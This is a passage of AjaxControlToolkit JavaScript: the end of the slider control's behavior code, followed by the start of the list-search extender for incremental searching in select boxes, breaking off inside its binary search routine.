        var bounds = this._getBoundsInternal(this._railElement);
        
        return bounds;
    },
    
    // _getHandleBounds
    // This method returns the slider's handle bounds.
    //
    _getHandleBounds : function() {
        return this._getBoundsInternal(this._handle);
    },
    
    // _initializeDragHandle
    // Initializes the invisible drag handle used to obtain
    // an horizontal or vertical drag effect with the ASP.NET AJAX framework.
    //
    _initializeDragHandle : function() {
        var dh = this._dragHandle = document.createElement('DIV');
        
        dh.style.position = 'absolute';
        dh.style.width = '1px';
        dh.style.height = '1px';
        dh.style.overflow = 'hidden';
        dh.style.zIndex = '999';
        dh.style.background = 'none';
        
        document.body.appendChild(this._dragHandle);
    },
    
    // _resetDragHandle
    // This method is called to reset the invisible drag handle to its
    // default position.
    //
    _resetDragHandle : function() {
        var handleBounds = $common.getBounds(this._handle);
        
        $common.setLocation(this._dragHandle, {x:handleBounds.x, y:handleBounds.y});
    },
    
    // _initializeHandlers
    // This method creates the event handlers and attach them to the 
    // corresponding events.
    //
    _initializeHandlers : function() {
        this._selectstartHandler = Function.createDelegate(this, this._onSelectStart);
        this._mouseupHandler = Function.createDelegate(this, this._onMouseUp);

        this._keyDownHandler = Function.createDelegate(this, this._onKeyDown);
        
        $addHandler(document, 'mouseup', this._mouseupHandler);

        $addHandler(this.get_element(), 'keydown', this._keyDownHandler);
                   
        $addHandlers(this._handle, 
            {
                'mousedown': this._onMouseDown,
                'dragstart': this._IEDragDropHandler,
                'drag': this._IEDragDropHandler,
                'dragend': this._IEDragDropHandler
            },
            this);
            
        $addHandlers(this._railElement,
            {
                'click': this._onRailClick
            },
            this);
    },
    
    _disposeHandlers : function() {
        $clearHandlers(this._handle);
        $clearHandlers(this._railElement);

        $removeHandler(this.get_element(), 'keydown', this._keyDownHandler);

        $removeHandler(document, 'mouseup', this._mouseupHandler);

        this._keyDownHandler = null;
        this._mouseupHandler = null;
        this._selectstartHandler = null;
    },
    
    // startDragDrop
    // Tells the DragDropManager to start a drag and drop operation.          
    //  
    startDragDrop : function(dragVisual) {
        this._resetDragHandle();
        
        AjaxControlToolkit.SliderDragDropManagerInternal.startDragDrop(this, dragVisual, null);
    },
    
    // _onMouseDown
    // Handles the slider's handle mousedown event.
    //
    _onMouseDown : function(evt) {
        window._event = evt;        
        evt.preventDefault();
        
        if(!AjaxControlToolkit.SliderBehavior.DropPending) {
            AjaxControlToolkit.SliderBehavior.DropPending = this;
            
            $addHandler(document, 'selectstart', this._selectstartHandler);
            this._selectstartPending = true;
            
            this.startDragDrop(this._dragHandle);
        }
    },
    
    // _onMouseUp
    // Handles the document's mouseup event.
    //
    _onMouseUp : function(evt) {
        var srcElement = evt.target;
        
        if(AjaxControlToolkit.SliderBehavior.DropPending == this) {
            AjaxControlToolkit.SliderBehavior.DropPending = null;
            
            if(this._selectstartPending) {
                $removeHandler(document, 'selectstart', this._selectstartHandler);
            }
        }
    },

    _onKeyDown: function(e) {
        if (this._enableKeyboard) {
            var evt = new Sys.UI.DomEvent(e);

            switch (evt.keyCode || evt.rawEvent.keyCode) {
                case Sys.UI.Key.up:
                case Sys.UI.Key.left:
                    this._handleSlide(true);
                    evt.preventDefault();
                    return;
                case Sys.UI.Key.down:
                case Sys.UI.Key.right:
                    this._handleSlide(false);
                    evt.preventDefault();
                    return false;
                default:
                    return false;
            }
        }
    },

    _handleSlide: function(decrement) {
        this._animationPending = true;

        this._isUpdatingInternal = true;

        var currentValue = this.get_Value();
        var increment;

        if (this._steps > 0) {
            var extent = this._maximum - this._minimum;

            var delta = (extent / (this._steps - 1)).toFixed(this._decimals);

            increment = delta;
        } else {
            increment = this._decimals == 0 ? 1 : 1 / Math.pow(10, this._decimals);
        }

        if (decrement) {
            increment = 0 - increment
        }

        this._calcValue(parseFloat(currentValue) + parseFloat(increment));

        this._isUpdatingInternal = false;

        this._fireTextBoxChangeEvent();
    },
    
    // _onRailClick
    // Handles the rail element's click event.
    _onRailClick : function(evt) {
        if(evt.target == this._railElement) {
            this._animationPending = true;
            this._onRailClicked(evt);    
        }
    },
    
    // _IEDragDropHandler
    // This method handles the drag events raised by Internet Explorer, 
    // preventing the default behaviors since we are using the 
    // GenericDragDropManager
    //
    _IEDragDropHandler : function(evt) {
        evt.preventDefault();
    },
    
    // _onSelectStart
    // Handles the document's selectstart event.
    //
    _onSelectStart : function(evt) {
        evt.preventDefault();
    },
    
    // _calcValue
    // This function computes the slider's value.
    //
    _calcValue : function(value, mouseOffset) {
        var val;
        
        if(value != null) {
            if(!Number.isInstanceOfType(value)) {
                try {
                    value = parseFloat(value);
                } catch(ex) {
                    value = Number.NaN;
                }
            }

            if(isNaN(value)) {
                value = this._minimum;
            }
            
            val = (value < this._minimum) ? this._minimum
                : (value > this._maximum) ? this._maximum
                : value;
        }
        else {                
            var _minimum = this._minimum;
            var _maximum = this._maximum;
            var handleBounds = this._getHandleBounds();
            var sliderBounds = this._getRailBounds();        
            var handleX = (mouseOffset) ? mouseOffset - handleBounds.width / 2 
                                        : handleBounds.x - sliderBounds.x;
            var extent = sliderBounds.width - handleBounds.width;
            var percent = handleX / extent;
            
            val = (handleX == 0) ? _minimum
                : (handleX == (sliderBounds.width - handleBounds.width)) ? _maximum
                : _minimum + percent * (_maximum - _minimum);
        }
        
        if(this._steps > 0) {
            val = this._getNearestStepValue(val);
        }
        
        val = (val < this._minimum) ? this._minimum
            : (val > this._maximum) ? this._maximum
            : val;
                
        this._isUpdatingInternal = true;
        this.set_Value(val);
        this._isUpdatingInternal = false;
        
        return val;
    },
       
    // _setHandleOffset
    // This function computes the handle's offset corresponding 
    // to a given value.   
    //
    _setHandleOffset : function(value, playHandleAnimation) {
        var _minimum = this._minimum;
        var _maximum = this._maximum;
        var handleBounds = this._getHandleBounds();
        var sliderBounds = this._getRailBounds();
        
        var extent = _maximum - _minimum;
        var fraction = (value - _minimum) / extent;
        var hypOffset = Math.round(fraction * (sliderBounds.width - handleBounds.width));
        
        var offset = (value == _minimum) ? 0
                   : (value == _maximum) ? (sliderBounds.width - handleBounds.width)
                   : hypOffset;
        
        if(playHandleAnimation) {
            this._handleAnimation.set_startValue(handleBounds.x - sliderBounds.x);
            this._handleAnimation.set_endValue(offset);
            this._handleAnimation.set_propertyKey((this._isHorizontal) ? 'left' : 'top');
            this._handleAnimation.play();
            
            this._animationPending = false;
        }
        else {
            if(this._isHorizontal) {
                this._handle.style.left = offset + 'px';
            }
            else {
                this._handle.style.top = offset + 'px';
            }
        }
    },
 
    // _getNearestStepValue
    // This function computes the current value for a "discrete" slider.
    //
    _getNearestStepValue : function(value) {
        if(this._steps == 0) return value;
        
        var extent = this._maximum - this._minimum;
        if (extent == 0) return value;
        
        var delta = extent / (this._steps - 1);

        return Math.round(value / delta) * delta;
    },
    
    // _onHandleReleased
    // This function is invoked when the slider's handle is released.
    //
    _onHandleReleased : function() {
        if(this._raiseChangeOnlyOnMouseUp) {
            this._fireTextBoxChangeEvent();
        }
        
        this._raiseEvent('slideEnd');
    },
    
    // _onRailClicked
    // This function is invoked when the slider's rail is clicked.
    //
    _onRailClicked : function(evt) {
        // Compute the pointer's offset.
        var handleBounds = this._getHandleBounds();
        var sliderBounds = this._getRailBounds();
        var offset = (this._isHorizontal) ? evt.offsetX : evt.offsetY;
        var minOffset = handleBounds.width / 2;
        var maxOffset = sliderBounds.width - minOffset;
        
        offset = (offset < minOffset) ? minOffset 
               : (offset > maxOffset) ? maxOffset
               : offset;

        this._calcValue(null, offset, true);

        this.get_element().focus();
        
        this._fireTextBoxChangeEvent();
    },
    
    // _fireTextBoxChangeEvent
    // Raise the change event on the underlying textbox when 
    // its value is updated programmatically.
    //
    _fireTextBoxChangeEvent : function() {
        if (document.createEvent) {
            var onchangeEvent = document.createEvent('HTMLEvents');
            onchangeEvent.initEvent('change', true, false);
            
            this.get_element().dispatchEvent(onchangeEvent);
        } 
        else if(document.createEventObject) {
            this.get_element().fireEvent('onchange');
        }
    },
        
    // IDragSource Members.
    //
    get_dragDataType : function() {        
        return 'HTML';
    },
    
    getDragData : function() {
        return this._handle;
    },
    
    get_dragMode : function() {       
        return AjaxControlToolkit.DragMode.Move;
    },

    onDragStart : function() {
        this.get_element().focus();
        
        this._resetDragHandle();
        this._raiseEvent('slideStart');
    },
    
    onDrag : function() {
        var dragHandleBounds = this._getBoundsInternal(this._dragHandle);
        var handleBounds = this._getHandleBounds();
        var sliderBounds = this._getRailBounds();
        
        var handlePosition; 
        if(this._isHorizontal) {
            handlePosition = { x:dragHandleBounds.x - sliderBounds.x, y:0 };
        }
        else {
            handlePosition = { y:dragHandleBounds.x - sliderBounds.x, x:0 };
        }
        
        $common.setLocation(this._handle, handlePosition);
        
        this._calcValue(null, null);
        
        // If we have a discrete slider, correct the handle's position
        // based on the computed value.
        if(this._steps > 1) {
            this._setHandleOffset(this.get_Value(), false);
        }
    },
        
    onDragEnd : function() {
        this._onHandleReleased();
    },
    
    // IDropTarget members.
    //
    get_dropTargetElement : function() {
        return document.body;
    },
        
    canDrop : function(dragMode, dataType) {
        return dataType == 'HTML';
    },
    
    drop : Function.emptyMethod,
    
    onDragEnterTarget : Function.emptyMethod,
    
    onDragLeaveTarget : Function.emptyMethod,
    
    onDragInTarget : Function.emptyMethod,
    
    // Events
    //
    add_sliderInitialized : function(handler) {
        this.get_events().addHandler('sliderInitialized', handler);
    },
    
    remove_sliderInitialized : function(handler) {
        this.get_events().removeHandler('sliderInitialized', handler);
    },
    
    add_valueChanged : function(handler) {
        this.get_events().addHandler('valueChanged', handler);
    },
    
    remove_valueChanged : function(handler) {
        this.get_events().removeHandler('valueChanged', handler);
    },
    
    add_slideStart : function(handler) {
        this.get_events().addHandler('slideStart', handler);
    },
    
    remove_slideStart : function(handler) {
        this.get_events().removeHandler('slideStart', handler);
    },
    
    add_slideEnd : function(handler) {
        this.get_events().addHandler('slideEnd', handler);
    },
    
    remove_slideEnd : function(handler) {
        this.get_events().removeHandler('slideEnd', handler);
    },
    
    _raiseEvent : function(eventName, eventArgs) {
        var handler = this.get_events().getHandler(eventName);
        if (handler) {
         if (!eventArgs) {
            eventArgs = Sys.EventArgs.Empty;
         }
         handler(this, eventArgs);
        }
    },
    
    // Properties.
    //
    get_Value : function() {
        return this._value;
    },
    
    set_Value : function(value) {
        var oldValue = this._value;
        var newValue = value;
        
        if(!this._isUpdatingInternal) {
            newValue = this._calcValue(value);
        }
        
        this.get_element().value = this._value = newValue.toFixed(this._decimals);

        this._ensureBinding();
                
        if(!Number.isInstanceOfType(this._value)) {
            try {
                this._value = parseFloat(this._value);
            } catch(ex) {
                this._value = Number.NaN;
            }
        }
        
        if(this._tooltipText) {
            this._handle.alt = this._handle.title = 
                String.format(this._tooltipText, this._value);
        }
        
        if(this._isInitializedInternal) {
            this._setHandleOffset(newValue, this._enableHandleAnimation && this._animationPending);
                
            if(this._isUpdatingInternal) {
                if(!this._raiseChangeOnlyOnMouseUp) {
                    this._fireTextBoxChangeEvent();
                }
            }
            
            if(this._value != oldValue) {
                this._raiseEvent('valueChanged');
            }
        }
    },

    get_RailCssClass : function() {
        return this._railCssClass;
    },
    
    set_RailCssClass : function(value) {
        this._railCssClass = value;
    },  
    
    get_HandleImageUrl : function() {
        return this._handleImageUrl;
    },
    
    set_HandleImageUrl : function(value) {
        this._handleImageUrl = value;
    },
    
    get_HandleCssClass : function() {
        return this._handleCssClass;
    },
    
    set_HandleCssClass : function(value) {
        this._handleCssClass = value;
    },
    
    get_Minimum : function() {
        return this._minimum;
    },
    
    set_Minimum : function(value) {
        this._minimum = value;
    }, 
    
    get_Maximum : function() {
        return this._maximum;
    },
    
    set_Maximum : function(value) {
        this._maximum = value;
    },
    
    get_Orientation : function() {
        return this._orientation;
    },
    
    set_Orientation : function(value) {
        this._orientation = value;
    },
    
    get_Steps : function() {
        return this._steps;
    },
    
    set_Steps : function(value) {
        this._steps = Math.abs(value);
        this._steps = (this._steps == 1) ? 2 : this._steps;
    },
    
    get_Decimals : function() {
        return this._decimals;
    },
    
    set_Decimals : function(value) {
        this._decimals = Math.abs(value);
    },
    
    get_EnableHandleAnimation : function() {
        return this._enableHandleAnimation;
    },
    
    set_EnableHandleAnimation : function(value) {
        this._enableHandleAnimation = value;
    },
    
    get_HandleAnimationDuration : function() {
        return this._handleAnimationDuration;
    },
    
    set_HandleAnimationDuration : function(value) {
        this._handleAnimationDuration = value;
    }, 
      
    get_BoundControlID : function() {
        return this._boundControlID;
    },
    
    set_BoundControlID : function(value) {
        this._boundControlID = value;
        if(this._boundControlID) {
            this._boundControl = $get(this._boundControlID);
        } else {
            this._boundControl = null;
        }
    },
    
    get_Length : function() {
        return this._length;
    },
    
    set_Length : function(value) {
        this._length = value + 'px';
    },
    
    get_SliderInitialized : function() {
        return this._isInitializedInternal;
    },
    
    get_RaiseChangeOnlyOnMouseUp : function() {
        return this._raiseChangeOnlyOnMouseUp;
    },
    
    set_RaiseChangeOnlyOnMouseUp : function(value) {
        this._raiseChangeOnlyOnMouseUp = value;
    },
    
    get_TooltipText : function() {
        return this._tooltipText;
    },
    
    set_TooltipText : function(value) {
        this._tooltipText = value;
    },

    get_enableKeyboard: function() {
        /// <value type="Boolean">
        /// Determines if the slider will respond to arrow keys when it has focus.
        /// </value>

        return this._enableKeyboard;
    },
    set_enableKeyboard: function(value) {
        /// <value type="Boolean">
        /// Determines if the slider will respond to arrow keys when it has focus.
        /// </value>

        if (value !== this._enableKeyboard) {
            this._enableKeyboard = value;
            this.raisePropertyChanged('enableKeyboard');
        }
    },
        
    // These are helper functions for communicating state back to the extender on the
    // server side.  They take or return a custom string that is available in your initialize method
    // and later.
    //
    getClientState : function() {
        var value = AjaxControlToolkit.SliderBehavior.callBaseMethod(this, 'get_ClientState');                
        if (value == '') value = null;
        return value;
    },
     
    setClientState : function(value) {
        return AjaxControlToolkit.SliderBehavior.callBaseMethod(this, 'set_ClientState',[value]);                
    }
}

AjaxControlToolkit.SliderBehavior.DropPending = null; // Global, used to work around an issue when using the GenericDragDropManager in IE.

AjaxControlToolkit.SliderBehavior.registerClass('AjaxControlToolkit.SliderBehavior', AjaxControlToolkit.BehaviorBase, AjaxControlToolkit.IDragSource, AjaxControlToolkit.IDropTarget);
&|// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../DynamicPopulate/DynamicPopulateBehavior.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />
/// <reference path="../PopupControl/PopupControlBehavior.js" />


// ListSearchExtender originally created by Damian Mehers http://damianblog.com
Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.ListSearchBehavior = function(element) {
    /// <summary>
    /// The ListSearchBehavior allows users to search incrementally within a Select
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// Select associated with the behavior
    /// </param>

    AjaxControlToolkit.ListSearchBehavior.initializeBase(this, [element]);

    // Properties
    this._promptCssClass = null;
    this._promptText = AjaxControlToolkit.Resources.ListSearch_DefaultPrompt;
    this._offsetX = 0;
    this._offsetY = 0;
    this._promptPosition = AjaxControlToolkit.ListSearchPromptPosition.Top;
    this._raiseImmediateOnChange = false;
    this._queryPattern = AjaxControlToolkit.ListSearchQueryPattern.StartsWith;
    this._isSorted = false;


    // Variables
    this._popupBehavior = null;
    this._onShowJson = null;
    this._onHideJson = null;
    this._originalIndex = 0;    // Index of the selected option when a key is first hit (before it is changed by the browser)
    this._newIndex = -1;         // New index to which we want to move.   We need this because Firefox shifts the selected option even though we preventDefault and preventPropagation in _onKeyPress.
    this._showingPromptText = false;
    this._searchText = '';      // Actual search text (text displayed in the PromptDiv may be clipped)
    this._ellipsis = String.fromCharCode(0x2026);
    this._binarySearch = false;
    this._applicationLoadDelegate = null;
    this._focusIndex = 0;       // Selected Index when the list is initially given focus
    this._queryTimeout = 0;     // Timeout in milliseconds after which search text will be cleared
    this._timer = null;     // Holds the opaque ID returned by setTimeout function. Needed to correctly clear the timeout reference.
    this._matchFound = false;   // Set to true means an item was selected after searching. False means no item match search criteria

    this._focusHandler = null;
    this._blurHandler = null;
    this._keyDownHandler = null;
    this._keyUpHandler = null;
    this._keyPressHandler = null;
}

AjaxControlToolkit.ListSearchBehavior.prototype = {

    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>

        AjaxControlToolkit.ListSearchBehavior.callBaseMethod(this, 'initialize');
        
        var element = this.get_element();
        
        // Check for a SELECT since a ControlAdapter could have rendered the ListBox or DropDown as something else
        if(element && element.tagName === 'SELECT') {

            this._focusHandler = Function.createDelegate(this, this._onFocus);
            this._blurHandler = Function.createDelegate(this, this._onBlur);
            this._keyDownHandler = Function.createDelegate(this, this._onKeyDown);
            this._keyUpHandler = Function.createDelegate(this, this._onKeyUp);
            this._keyPressHandler = Function.createDelegate(this, this._onKeyPress);

            $addHandler(element, "focus",     this._focusHandler);
            $addHandler(element, "blur",     this._blurHandler);
            $addHandler(element, "keydown",   this._keyDownHandler);
            $addHandler(element, "keyup",     this._keyUpHandler);
            $addHandler(element, "keypress",  this._keyPressHandler);

            // We use the load event to determine whether the control has focus and display prompt text.  We can't do it here.
            this._applicationLoadDelegate = Function.createDelegate(this, this._onApplicationLoad);
            Sys.Application.add_load(this._applicationLoadDelegate);
        }
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        var element = this.get_element();
        $removeHandler(element, "keypress",  this._keyPressHandler);
        $removeHandler(element, "keyup",     this._keyUpHandler);
        $removeHandler(element, "keydown",   this._keyDownHandler);
        $removeHandler(element, "blur",      this._blurHandler);
        $removeHandler(element, "focus",     this._focusHandler);
        this._onShowJson = null;
        this._onHideJson = null;
        this._disposePopupBehavior();
        
        if(this._applicationLoadDelegate) {
            Sys.Application.remove_load(this._applicationLoadDelegate);
            this._applicationLoadDelegate = null;
        }
        
        if(this._timer) {
            this._stopTimer();
        }        

        AjaxControlToolkit.ListSearchBehavior.callBaseMethod(this, 'dispose');
    },

    _onApplicationLoad : function(sender, applicationLoadEventArgs) {
        /// <summary>
        /// Handler called automatically when a all scripts are loaded and controls are initialized
        /// Called after all scripts have been loaded and controls initialized.  If the current Select is the one that has
        /// focus then it shows the prompt text.  We cannot do this in the initialize method because the second pass initialization
        /// of the popup behavior hides it.
        /// </summary>
        /// <param name="sender" type="Object">
        /// Sender
        /// </param>
        /// <param name="applicationLoadEventArgs" type="Sys.ApplicationLoadEventArgs">
        /// Event arguments
        /// </param>

        // Determine if this SELECT is focused initially
        var hasInitialFocus = false;
        
        var clientState = AjaxControlToolkit.ListSearchBehavior.callBaseMethod(this, 'get_ClientState');
        if (clientState != null && clientState != "") {
            hasInitialFocus = (clientState === "Focused");
            AjaxControlToolkit.ListSearchBehavior.callBaseMethod(this, 'set_ClientState', null);
        }
        
        if(hasInitialFocus) {
            this._handleFocus();
        }
    },

    
   
    _checkIfSorted : function(options) {
        /// <summary>
        /// Checks to see if the list is sorted to see if we can do the fast binary search or the slower linear search
        /// </summary>
        /// <param name="options" type="Object">
        /// Collections of options in a SELECT
        /// </param>

        if (this._isSorted) {
            // we assume this is sorted
            return true;
        } else {
            // it is not known if elements list is sorted, so check it by itself
            var previousOptionValue = null;
            var optionsLength = options.length;
            for(var index = 0; index < optionsLength; index++) {
                var optionValue = options[index].text.toLowerCase();
                if(previousOptionValue && this._compareStrings(optionValue, previousOptionValue) < 0) {
                    return false;
                }
                previousOptionValue = optionValue;
            }
            return true;
        }
    },
    
    _onFocus : function(e) {
        /// <summary>
        /// Handler for the Select's focus event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        this._handleFocus();
    },
    
    _handleFocus : function() {
        /// <summary>
        /// Utility method called when the form is loaded if the Select has the default focus, or when it is explicitly focused
        /// </summary>
        var element = this.get_element();
        this._focusIndex = element.selectedIndex;
        if(!this._promptDiv) {
            this._promptDiv = document.createElement('div');
            this._promptDiv.id = element.id + '_promptDiv';
        
            // Need to initialize _promptDiv here even though it is set below by _updatePromptDiv because otherwise both
            // FireFox and IE bomb -- I guess there needs to be some content in the Div.  We need a value, which will be overwritten
            // below anyway.
            this._promptDiv.innerHTML = this._promptText && this._promptText.length > 0 ? this._promptText : AjaxControlToolkit.Resources.ListSearch_DefaultPrompt;
            this._showingPromptText = true;
            
            if(this._promptCssClass) {
                this._promptDiv.className = this._promptCssClass;
            }
                    
            element.parentNode.insertBefore(this._promptDiv, element.nextSibling);
            this._promptDiv.style.overflow = 'hidden';
            this._promptDiv.style.height = this._promptDiv.offsetHeight + 'px';
            this._promptDiv.style.width = element.offsetWidth + 'px';
        }
        // Hook up a PopupBehavior to the promptDiv
        if(!this._popupBehavior) {
            this._popupBehavior = $create(AjaxControlToolkit.PopupBehavior, { parentElement : element }, {}, {}, this._promptDiv);
        }
        if (this._promptPosition && this._promptPosition == AjaxControlToolkit.ListSearchPromptPosition.Bottom) {
            this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);
        } else {
            this._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);
        }
        
        // Create the animations (if they were set before the behavior was created)
        if (this._onShowJson) {
            this._popupBehavior.set_onShow(this._onShowJson);
        }
        if (this._onHideJson) {
            this._popupBehavior.set_onHide(this._onHideJson);
        }
        
        this._popupBehavior.show();

        this._updatePromptDiv(this._promptText);
    },
    
    _onBlur : function() {
        /// <summary>
        /// Handle the Select's blur event
        /// </summary>
        this._disposePopupBehavior();

        // Remove the DIV showing the text typed so far
        var promptDiv = this._promptDiv;
        var element = this.get_element();

        if(promptDiv) {
           this._promptDiv = null;
           promptDiv.parentNode.removeChild(promptDiv);
        }
        
        if(!this._raiseImmediateOnChange && this._focusIndex != element.selectedIndex) {
            this._raiseOnChange(element);
        }        
    },
    
    _disposePopupBehavior : function() {
        /// <summary>
        /// Utilty function to dispose of the popup behavior, called when the Select loses focus or when the extender is being disposed
        /// </summary>
        if (this._popupBehavior) {
            this._popupBehavior.dispose();
            this._popupBehavior = null;
        }
    },
    
    _onKeyDown : function(e) {
        /// <summary>
        /// Handler for the Select's KeyDown event
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        var element = this.get_element();
        var promptDiv = this._promptDiv;
        
        if(!element || !promptDiv) {
            return;
        }
        
        this._originalIndex = element.selectedIndex;

        if(this._showingPromptText) {
            promptDiv.innerHTML = '';
            this._searchText = '';
            this._showingPromptText = false;
            this._binarySearch = this._checkIfSorted(element.options);   // Delayed until required
        }              

        // Backspace not passed to keyPressed event in IE, so handle it here
        if(e.keyCode == Sys.UI.Key.backspace) {
            e.preventDefault();
            e.stopPropagation();

            this._removeCharacterFromPromptDiv();
            this._searchForTypedText(element);
            
            if(!this._searchText || this._searchText.length == 0) {
                this._stopTimer();
            }
        } else if(e.keyCode == Sys.UI.Key.esc) {
            e.preventDefault();
            e.stopPropagation();

            promptDiv.innerHTML = '';
            this._searchText = '';
            this._searchForTypedText(element);
            
            this._stopTimer();
        } else if(e.keyCode == Sys.UI.Key.enter && !this._raiseImmediateOnChange && this._focusIndex != element.selectedIndex) {
            this._focusIndex = element.selectedIndex;   // So that OnChange is not fired again when the list loses focus
            this._raiseOnChange(element);
        }      
    },
    
    _onKeyUp : function(e) {
        /// <summary>
        /// Handler for the Select's KeyUp event.  We need this because Firefox shifts the selected option even though
        /// we preventDefault and preventPropagation in _onKeyPress
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        var element = this.get_element();
        var promptDiv = this._promptDiv;
        
        if(!element || !promptDiv) {
            return;
        }

        if(this._newIndex == -1 || !element || !promptDiv || promptDiv.innerHTML == '') {
            this._newIndex = -1;
            return;
        }
        
        element.selectedIndex = this._newIndex;
        this._newIndex = -1;
    },

    _onKeyPress : function(e) {
        /// <summary>
        /// Handler for the Select's KeyPress event.
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>

        var element = this.get_element();
        var promptDiv = this._promptDiv;
        
        if(!element || !promptDiv) {
            return;
        }
                
        if(!this._isNormalChar(e)) {
            if(e.charCode == Sys.UI.Key.backspace) {
                e.preventDefault();
                e.stopPropagation();
                
                if(this._searchText && this._searchText.length == 0) {
                    this._stopTimer();
                }                               
            }
            return;
        }
        
        e.preventDefault();
        e.stopPropagation();

        // Add key pressed to the displayed DIV and search for it
        this._addCharacterToPromptDiv(e.charCode);
        this._searchForTypedText(element);
        
        this._stopTimer();
        // start auto reset timer only if search text is not empty
        if(this._searchText && this._searchText.length != 0) {
            this._startTimer();
        }        
    },
    
    _isNormalChar : function(e) {
        /// <summary>
        /// Returns true if the specified charCode is a key rather than a normal (displayable) character
        /// </summary>
        /// <param name="e" type="Sys.UI.DomEvent">
        /// Event info
        /// </param>
        /// <returns type="Boolean" />

        // Walking through Sys.UI.Keys won't work -- Ampersand is code 38 which matches 
        if (Sys.Browser.agent == Sys.Browser.Firefox && e.rawEvent.keyCode) {
            return false;
        }

        if (Sys.Browser.agent == Sys.Browser.Opera && e.rawEvent.which == 0) {
            return false;
        }

        if (e.charCode && (e.charCode < Sys.UI.Key.space || e.charCode > 6000)) {
            return false;
        }
        return true;
    },

    _updatePromptDiv : function(newText) {
        /// <summary>
        /// Updates the text in the promptDiv.
        /// </summary>
        /// <param name="newText" type="String">
        /// The new text to be displayed in the promptDiv.  Optional.  If not specified then uses the _searchText member.
        /// </param>
        ///
        
        var promptDiv = this._promptDiv;
        if(!promptDiv || !this.get_element()) {
            return;
        }
                        
        var text = typeof(newText) === 'undefined' ? this._searchText : newText;
        var textNode = promptDiv.firstChild;
        
        if(!textNode) {
            textNode = document.createTextNode(text);
            promptDiv.appendChild(textNode);
        } else {
            textNode.nodeValue = text;
        }

        if(promptDiv.scrollWidth <= promptDiv.offsetWidth && promptDiv.scrollHeight <= promptDiv.offsetHeight) {
            return;  // Already fit
        }

        // Remove characters until they fit
        for(var maxFit = text.length - 1; maxFit > 0 && (promptDiv.scrollWidth > promptDiv.offsetWidth || promptDiv.scrollHeight > promptDiv.offsetHeight); maxFit--) {
            textNode.nodeValue = this._ellipsis + text.substring(text.length - maxFit, text.length);
        }
    },

    _addCharacterToPromptDiv : function (charCode) {
        /// <summary>
        /// Adds the specified character to the promptDiv.
        /// </summary>
        /// <param name="charCode" type="Int">
        /// The charCode of the character to be added
        /// </param>
        this._searchText += String.fromCharCode(charCode);
        this._updatePromptDiv();
    },

    _removeCharacterFromPromptDiv : function () {
        /// <summary>
        /// Removes a character from the end of the promptDiv.
        /// </summary>
        if(this._searchText && this._searchText != '') {
            this._searchText = this._searchText.substring(0, this._searchText.length - 1);
            this._updatePromptDiv();
        }
    },

    _searchForTypedText  : function(element) {
        /// <summary>
        /// Searches for the text typed so far in the Select
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Select associated with the behavior
        /// </param>
        var searchText = this._searchText;
        var options = element.options;
        var text = searchText ? searchText.toLowerCase() : "";
        
        this._matchFound = false;

        if(text.length == 0) {  // Probably hit delete -- select the first option
            if(options.length > 0) {
                element.selectedIndex = 0;
                this._newIndex = 0;
            }
        } else {
            var selectedIndex = -1;
                         
            if(this._binarySearch && (this._queryPattern == AjaxControlToolkit.ListSearchQueryPattern.StartsWith)) {
                selectedIndex = this._doBinarySearch(options, text, 0, options.length - 1);
            } else {
                selectedIndex = this._doLinearSearch(options, text, 0, options.length - 1);
            }
         
            // If nothing is found then stick with the current option
            if(selectedIndex == -1) {
                // Need this because firefox has aleady changed the current option based on the character typed
                this._newIndex = this._originalIndex; 
            } else {    // Otherwise move to the new option
                element.selectedIndex = selectedIndex;
                this._newIndex = selectedIndex;
                this._matchFound = true;
            }
        }
        
        if(this._raiseImmediateOnChange && this._originalIndex != element.selectedIndex) {
            // Fire an OnChange
            this._raiseOnChange(element);
        }
    },
    
    _raiseOnChange : function(element) {
        /// <summary>
        /// Fires a OnChange event
        /// </summary>
        /// <param name="element" type="Sys.UI.DomElement" domElement="true">
        /// Select associated with the behavior
        /// </param>
        if (document.createEvent) {
            var onchangeEvent = document.createEvent('HTMLEvents');
            onchangeEvent.initEvent('change', true, false);
            element.dispatchEvent(onchangeEvent);
        } else if( document.createEventObject ) {
            element.fireEvent('onchange');
        }
    },
    
    _compareStrings : function(strA, strB) {
        /// <summary>
        /// Compare two strings
        /// </summary>
        /// <param name="strA" type="String">
        /// The first string
        /// </param>
        /// <param name="strB" type="String">
        /// The second string
        /// </param>
        /// <returns type="Number" Integer="true">
        /// 0 if equal, -1 if strA < strB, 1 otherwise
        /// </returns>
        return ((strA == strB) ? 0 : ((strA < strB) ? -1 : 1))
    },
    
    _doBinarySearch : function(options, value, left, right) {
        /// <summary>
        /// Does a binary search for a value in the Select's options
        /// </summary>
        /// <param name="options" type="Object">
        /// The collection of options in the Select
        /// </param>
        /// <param name="value" type="String">
        /// The value being searched for
        /// </param>
        /// <param name="left" type="Int">
        /// The left bounds of the search
        /// </param>
        /// <param name="right" type="Right">
        /// The right bounds of the search
        /// </param>
        while (left <= right) {
            var mid = Math.floor((left+right)/2);
            var option = options[mid].text.toLowerCase().substring(0, value.length);
            var compareResult = this._compareStrings(value, option);
            if (compareResult > 0) {
                left = mid+1
            } else if(compareResult < 0) {
                right = mid-1;
